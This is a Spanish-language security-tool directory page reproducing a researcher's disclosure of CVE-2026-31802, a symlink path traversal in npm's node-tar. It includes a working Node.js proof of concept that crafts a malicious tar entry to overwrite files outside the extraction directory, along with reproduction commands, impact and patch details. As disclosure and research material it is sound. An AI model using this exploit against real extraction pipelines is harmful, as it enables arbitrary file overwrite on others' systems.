Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31802 — Prueba de concepto y documentación técnica para CVE-2026-31802, un path traversal mediante symlink en npm tar que permite la sobrescritura arbitraria de archivos fuera del directorio de extracción. | Kitploit
Herramientas/GitHubGitHub/jvr2022/cve-2026-31802
Análisis de VulnerabilidadesExplotaciónSeguridad WebSeguridad de Cadena de Suministro
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

Prueba de concepto y documentación técnica para CVE-2026-31802, un path traversal mediante symlink en npm tar que permite la sobrescritura arbitraria de archivos fuera del directorio de extracción.

Ver Repositorio
11hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-31802: Desvío de ruta de enlace simbólico en tar / Sobrescritura arbitraria de archivos

Investigación: Joshua van Rijswijk

Descripción

Este repositorio contiene mi prueba de concepto y el informe técnico de CVE-2026-31802, una vulnerabilidad de alta gravedad en el paquete tar de npm (node-tar) que afecta a las versiones <= 7.5.10.

Descubrí que tar puede ser engañado para crear un enlace simbólico que apunte fuera del directorio de extracción previsto mediante un objetivo de enlace simbólico relativo a la unidad como C:../../../target.txt. En la práctica, esto permite escapar de cwd durante la extracción y convertir la extracción de archivos en una primitiva de sobrescritura arbitraria de archivos.

El fallo es alcanzable mediante el comportamiento normal de extracción con archivos tar controlados por el atacante.

Antecedentes

Mientras analizaba cómo tar maneja la extracción de enlaces simbólicos, noté que ciertos valores de linkpath se trataban de forma inconsistente durante la sanitización y validación. En particular, rutas relativas a la unidad como:

root@kitploit:~
C:../../../target.txt

terminaban siendo reescritas antes de su uso, pero no se validaban en la misma forma en que finalmente se almacenaban y aplicaban.

Esa discrepancia es lo que hace explotable el fallo.

Causa raíz

La vulnerabilidad proviene de cómo tar procesa valores de linkpath de enlaces simbólicos manipulados durante la extracción.

A alto nivel, la lógica de extracción elimina el prefijo de unidad de una ruta como:

root@kitploit:~
C:../../../target.txt

y la reescribe como:

root@kitploit:~
../../../target.txt

Sin embargo, la comprobación de seguridad de desvío se realiza contra el valor original antes de eliminar el prefijo, mientras que la creación del enlace simbólico utiliza posteriormente el valor reescrito.

Esto significa que un archivo malicioso puede pasar la validación usando una forma de la ruta, pero aun así producir un enlace simbólico que atraviese fuera del directorio de extracción al escribirse en el disco.

Flujo de explotación

Un archivo malicioso puede contener una entrada de enlace simbólico como esta:

root@kitploit:~
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

Cuando se extrae con un uso normal como:

root@kitploit:~
tar.x({ cwd, file })

ocurre lo siguiente:

  1. El prefijo de unidad se elimina de linkpath.
  2. La comprobación de escape aún evalúa el valor original.
  3. La entrada se acepta.
  4. El enlace simbólico extraído se crea con la ruta de desvío reescrita.
  5. Una escritura posterior a través de ese enlace simbólico alcanza un archivo fuera de cwd.

En otras palabras, la lógica de extracción valida un valor y utiliza otro. Esa brecha crea la primitiva de desvío.

Prueba de concepto

Escribí la siguiente PoC para demostrar que un enlace simbólico extraído puede hacerse apuntar fuera de la raíz de extracción y luego usarse para sobrescribir un archivo fuera del directorio de trabajo.

La PoC:

  • crea ../target.txt
  • construye un archivo tar malicioso con una entrada de enlace simbólico en a/b/l
  • establece linkpath en C:../../../target.txt
  • extrae el archivo en el directorio actual
  • escribe a través de a/b/l
  • confirma que el archivo externo fue sobrescrito

Script de la PoC:

root@kitploit:~
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Reproducción

Instalar una versión vulnerable

root@kitploit:~
npm install [email protected]

Ejecutar la PoC

root@kitploit:~
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Salida observada

root@kitploit:~
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED confirma que el archivo fuera del directorio de extracción fue sobrescrito.

La salida de readlink y el listado de archivos muestran que el enlace simbólico extraído apunta fuera de la raíz de extracción prevista.

Impacto

Este problema otorga a un atacante una primitiva de sobrescritura arbitraria de archivos fuera del directorio de extracción previsto, con los permisos del proceso que realiza la extracción.

Los escenarios realistas incluyen:

  • herramientas CLI que extraen tarballs no confiables en un directorio de trabajo
  • pipelines de compilación y actualización que consumen archivos de terceros
  • servicios que importan archivos tar proporcionados por el usuario
  • herramientas de desarrollo que desempaquetan automáticamente paquetes o artefactos

En esos entornos, un archivo manipulado puede provocar escrituras fuera del directorio que la aplicación espera controlar.

Versiones afectadas

  • Afectadas: tar <= 7.5.10
  • Parcheada: tar 7.5.11

Corrección

Este problema fue parcheado en 7.5.11.

Los usuarios deben actualizar de inmediato:

root@kitploit:~
npm install tar@^7.5.11

Referencias

  • Aviso de GitHub: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
Descargar herramienta